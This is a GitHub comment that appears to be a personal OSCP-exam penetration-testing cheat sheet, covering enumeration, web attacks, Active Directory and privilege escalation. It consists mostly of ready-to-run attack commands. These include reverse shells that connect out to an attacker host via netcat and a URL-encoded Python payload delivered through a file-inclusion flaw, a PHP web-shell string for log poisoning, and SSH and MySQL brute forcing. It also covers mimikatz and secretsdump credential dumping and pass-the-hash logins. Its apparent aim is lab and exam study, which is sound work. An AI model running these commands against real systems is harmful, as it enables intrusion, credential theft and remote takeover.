WDavid404
commented
9 months ago autoscan at first
sudo env "PATH=$PATH" autorecon 192.168.195.248
(meanwhile, try “ rustscan -a <IP> -- -sV -A”)
see nmap port report: find
- os info
- host info
- domain info:
e.g
in http-title
- find service version infoinitial recon
-->
SNMP (udp 161)
snmpwalk -v 2c -c public 192.168.190.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
snmpbulkwalk -c public -v2c 192.168.182.149 . --》 里面包含的信息比autorecon的多。。比如passwordftp via anonymouse
- if we can login, try upload a reverse file .
- the default dic for anonymouse connection is “/var/ftp” → may be useful in LFI attack
- we can also upload files with the same file name as we've known and see if we can get reverse shell from the target
- -- e.g
“product-control” file:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.220 1234 > /tmp/f“web-control” file:nc -e /bin/sh 192.168.45.220 1235smb --> find share folders or user list
enum4linux -a target_ip
smbmap -H <URL or IP> //to show share dir list as anonymous user (e..g smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1)
smbclient //active.htb/Replication (access a share dir as anonymous user)- if we can login, try upload a reverse file
- we can also upload files with the same file name as we've known and see if we can get reverse shell from the target
- -- e.g
product-control:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.220 1234 > /tmp/fweb-control:nc -e /bin/sh 192.168.45.220 1235
53/port dns:
dig axfr @<DNS_IP>
google for exploit
- e.g. How to exploit port 6667
access web service via browser,
- check source code: Title, credentials info, cms version info, etc
- check CMS version from Burp suite (response header or body), help page, etc
- -- wordpress enumeration:
wpscan --url http://xxxxxx -e u,t,pcheck /robots.txt sometimes, we need to bypass user-agent restirction (e.g. only search engine can access robots.txt):curl --user-agent “Google/1.0” <IP>:<port>/robots.txt
feroxbuster/gobuster/ffuf for http service
subdomain brute force:
ffuf -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" -fw 5338 | grep --color=auto 200
-→ after finding, eidt /etc/hosts file and added this subdomain on the same line
search for zip, backup files: feroxbuster -u https://oscp.example.com:8443 -k -C 404 -x zip -B
get creadentials info
- crack username and credentials (hash or password)
- get id_rsa
or, try hydra
hydra -l gaara -P /usr/share/wordlists/rockyou.txt ssh://192.168.163.142:22
get extra info from pdf, photos
- exiftool -a -u PDF_NAME.pdf
- exiftool xxxx.jpg
- steghide extract -sf filename.jpgdecode secret file or string: cat secret.txt | base64 -d
SSH brute force (weak password policy)
hydra -L user -P /usr/share/wordlists/rockyou.txt ssh://$IP -V
hydra -L user -P user ssh://$IP -V -u (check if user and password are same)
hydra -L user -P user ssh://$IP -V or when you don't have user info
nmap -p 22 --script ssh-brute.nse <target> -vvv
case: AD set
Try
impacket-GetUserSPNs -request -dc-ip <domain url or ip> <domain host name> (as anonymouse user request)
e.g. GetNPUsers.py htb.local/ -dc-ip forest.htb -request
impacket-GetUserSPNs -request -dc-ip 172.16.214.10 MEDTECH.com/leon (PWD: rabbit:))
--> get administartor hash info
john --wordlist=/usr/share/wordlists/rockyou.txt admin.txt to crack hash
impacket-psexec <domain>/administrator:"<password>"@192.168.246.189
impacket-psexec -hashes 000000000000000000000000000000000:8d7a47a6f9f66b97b1bae4178747494 joe@172.16.206.11
netexec <target(s)> -u username -p password --continue-on-success
netexec <target(s)> -u username -p password --local-auth
netexec <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords dcsync
# -just-dc: Extract only NTDS.DIT (NTLM hashes and kerberos keys).
impacket-secretsdump -just-dc example.local/username:password@<target-ip>
# -just-dc-ntlm: Extract only NTDS.DIT data (NTLM hashes only).
impacket-secretsdump -just-dc-ntlm example.local/username:password@<target-ip>Try using bloodhound as the one of last methods
one example: https://daemonexala.medium.com/hack-the-box-forest-without-metasploit-tjnulls-list-for-oscp-3260e035a4bd
Use reverse shell
-
RCE exploit
-
upload file to FTP, web page ---> some case: we cannot upload aspx file,instead, we can upload a web.config file web.config file could execute code. Let’s craft a web.config file with the sample code as below, and put the code to download and execute a powershell script that we will be hosting on our own http server.
-
FLI try:
../../../../../../../../../etc/passwd ../../../../var/log/apache2/access.log
e.g.
192.168.224.80/console/file.php?cmd=whoami
(
other cases:
$IP:8593/index.php?book=../../../var/log/apache2/access.log&cmd=id
$IP:8593/index.php?book=../../../var/log/apache2/access.log&&cmd=id
$IP:8593/index.php?book=../../../var/log/apache2/access.log?cmd=id
$IP:8593/index.php?book=../../../var/log/apache2/access.log;cmd=id
)
http://192.168.224.80/console/file.php?file=/etc/passwd
http://192.168.167.80/console/file.php?file=/var/log/auth.log&cmd=id
curl http://192.168.167.80/console/file.php?file=/var/log/auth.log&cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.45.204%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27
e.g1. if we have file.php URL, we can try:
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u http://192.168.210.80/console/file.php?FUZZ= -t 100 -fs 0
OR
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u http://192.168.210.80/console/file.php?FUZZ -t 100 -fs 0
OR
ffuf -w /usr/share/wordlists/directory-list-lowercase-2.3-medium.txt -t 100 -u http://$IP/secret/evil.php?FUZZ=/etc/passwd -fs 0
OR
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u http://192.168.210.80/console/file.php?FUZZ=../../../../../../../../../../etc/passwd -t 100 -fs 0- php wrapper (https://notchxor.github.io/oscp-notes/2-web/LFI-RFI/)
e.g.
php://filter/convert.base64-encode/resource=../../../../../../../../etc/passwd http://localhost/include.php?page=php://filter/convert.base64-encode/resource=secret.inc http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc http://localhost/include.php?page=php://filter/resource=/etc/passwd
- cron job on web page
- SQL injection
- log poisoning
nc -nv ip 22 (22 port--> SSH log poisoning)
anyword/<?php system($_GET['cmd']); ?>
3306/port mysql
hydra -l root -P /urs/share/wordlists/rockyou.txt mysql://192.168.226.118
=============================
# PE phase
## both for linux and windows
check wp-config.php file (/var/www/html)
e.g. `cat wp-config.php | grep DB`
## PE for Active Directory
mimikatz tool.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" .\mimikatz.exe "token::elevate" "lsadump::sam" "exit"
/// dcsync
mimikatz # lsadump::dcsync /user:corp\Administrator
mimikatz # lsadump::dcsync /user:corp\
check history
`cat C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
`
credential info in registry, etcFOR DEFAULT USER
(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
FOR DEFAULT PASSWORD
(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
we can also search SAM, SYSTEM file under windows/system32 folder
then, crack them -→ `impacket-secretsdump -sam SAM -system SYSTEM LOCAL`
check whether credetial info are avaible for lateral movement:
`netexec winrm 10.10.167.140-142 -u 'tom_admin' -H '4979d69d4ca66955c075c41cf45f24dc'
`
login via winrm
`evil-winrm -H 4979d69d4ca66955c075c41cf45f24dc -u tom_admin -i 10.10.167.140
`
login to MSSQL server:
`impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@10.10.209.148 -windows-auth `
## PE for linux standalone
auto enum tool
`linpeas -a
`
manual enum checksudo -l (check what commands current user can run with sudo privilege)
cat /etc/passwd | grep bash ()
cat /etc/crontab (cronjobs running)
ls -al /etc/cron
cat .bash_history (passwords saved in history)
env (passwords saved in environment variable)
uname -ar (kernel exploits)
cat /etc/-release (kernel exploits)
ss -tulnp (check for any potential services running) ---------> curl 127.0.0.1:
getcap -r / 2>/dev/null (capabilities)
find / -perm -u=s -type f 2>/dev/null (SUID)
find / -perm -g=s -type f 2>/dev/null (SGID)
sudo --version (public exploits)
id (check for docker and lxd group)
ls -la /etc/passwd (writable /etc/passwd)
ls -la /etc/shadow (writeable /etc/shadow)
ps aux | grep -i "root" --color=auto
find / -name cronlog 2>/dev/null ----- check cron job log info
find / -writable 2>/dev/null
find / -perm -o+w -type f 2>/dev/null | grep /proc -v --- checck writable files under /proc dir
cd /home grep -rnH "password" .
cd /var/www/ grep -rnH "password" .
find . -type f -exec ls -lsha {} + | grep -E -i '.secret|secret|token|key|api|password|user
find .dat file contains SHA string: find /opt/ofbiz/runtime/data/derby/ofbiz/seg0 -type f -name “*.dat” -exec grep “SHA” {} \;
check if credentials stored in .bash_history find /home -name .bash_history -exec cat {} \;
recursively grep all directories and subdirectories: grep -rnH "password" .
cat C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
try su to switch user to root: `su root`, `su`
try pspy64
## PE for windows standalone
whoami /priv
winpeas
--->
find backup (.zip) file
credential info in registry, etcFOR DEFAULT USER
(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
FOR DEFAULT PASSWORD
(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
interesting service
we can also search SAM, SYSTEM file under windows/system32 folder
then, crack them on kali -→ ` impacket-secretsdump -sam SAM -system SYSTEM LOCAL`
OSCP-CheatSheet
https://notchxor.github.io/oscp-notes/2-web/LFI-RFI/ https://github.com/WDavid404/OSCP-CheatSheet https://github.com/saisathvik1/OSCP-Cheatsheet
Windows privilege escaliation guide
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ https://github.com/xMilkPowderx/OSCP/blob/master/Windows%20Priv%20Esc.md
linux privilege escalation list
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-shutdown-poweroff-privilege-escalation/
Notes：proving-grounds-all-33-warm-up-machines
https://medium.com/@abhirupkonwar04/proving-grounds-all-33-warm-up-machines-pwned-618cdb3d9607
Other
Hacktricks: https://book.hacktricks.xyz
https://gtfobins.github.io/ : a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
CVE exploit code list： https://github.com/Al1ex
https://github.com/danielmiessler/SecLists
MSFVenom Cheat Sheet: https://web.archive.org/web/20220607215637/https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/
PayloadsAllTheThings (e.g MS SQL injection ): https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md
On kali
tree /usr/share/webshells/useful resource